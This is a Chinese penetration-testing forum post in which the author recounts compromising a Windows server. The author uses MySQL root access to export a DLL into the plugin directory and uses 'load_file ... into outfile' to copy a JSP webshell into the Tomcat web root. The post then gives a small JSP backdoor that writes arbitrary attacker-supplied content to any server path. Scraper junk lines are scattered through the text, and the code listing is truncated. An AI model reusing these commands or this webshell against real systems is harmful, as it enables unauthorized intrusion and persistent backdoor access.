中国网络渗透测试联盟
标题:
解决Win下MySQL root导出Webshell换行符问题
[打印本页]
作者:
admin
时间:
2013-3-8 21:52
标题:
解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
) d2 R, }* |' S) z B
' q% g3 L7 Y4 C
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
, R7 U9 u. t |4 `4 v8 R$ O5 p
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
- F( |) o, C7 H; R w b
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
4 E- U4 Q, f$ G
1 show variables like '%plugin%';
+ Y- K9 q8 U* }3 p
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
7 B/ v3 S5 d: `5 ]
创建自定义函数似乎被拦截,一直失败。
% A. e! F. l: H7 B$ m8 S2 _4 M# F6 ]
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
& F6 ~( V8 [: o4 }5 ~5 @9 ^' Q0 ^
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
) {/ s4 ^# V* |+ Q. S1 {* @$ h5 M
用mysql执行语句:
$ H* o( N- a) Y4 Q- g: Y# t: b2 h
1 select load_file('d:\\xxx\\fuck.jsp') into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
* w0 u# X# J Z. L' b) u% q
2 复制代码
! Y1 i# C% v) U' a X
后成功。
E s: ^6 g2 P' q/ w/ N2 ~
但是访问后得到如下提示:
$ B+ B7 H7 y+ R$ T# P" b" W# L/ c
500页面
5 `* X$ G3 X" s1 e$ s: d/ ~" v' E
6 s& E/ k: i% \
# U b0 f. [! B
明显是MySQL的Win下版本自动添加转义符\n\r了
! u0 t+ T# N2 A, `+ ?: {
这样导致程序运行的悲剧。
0 h5 w% B5 ?( | L. G, G) ]2 S
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
% m$ K4 K' s6 R
最后弄了这么个小脚本:
9 ~2 s" U* c+ `
01 <%@ page language="java" pageEncoding="gbk"%>
! c$ R. v' j3 R- d: j% K
02 <jsp:directive.page import="java.io.File"/>
! w. \9 |+ w- ^) f6 }$ H
03 <jsp:directive.page import="java.io.OutputStream"/>
6 D: h# C6 z& p4 O
04 <jsp:directive.page import="java.io.FileOutputStream"/>
. `( K- N* \" t3 N3 A, M6 j" n; D5 Q
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
( n. z! O9 B$ U
06 error
www.2cto.com
9 ]. N9 [' Q" B
07 <%}}if(i==0){%>
+ v+ ~1 | u7 z
08 ok
5 j6 j0 J; l% G7 H7 _. D
09 <%}%>
; D8 T7 u8 G. q- \* o& q* X
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
$ N) W* [! A3 e( `: {# P) i5 ?: u ?1 V
就可以避免转义符让JSP的马儿运行500错误了。
0 U6 N6 o7 ?9 V! S, @
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2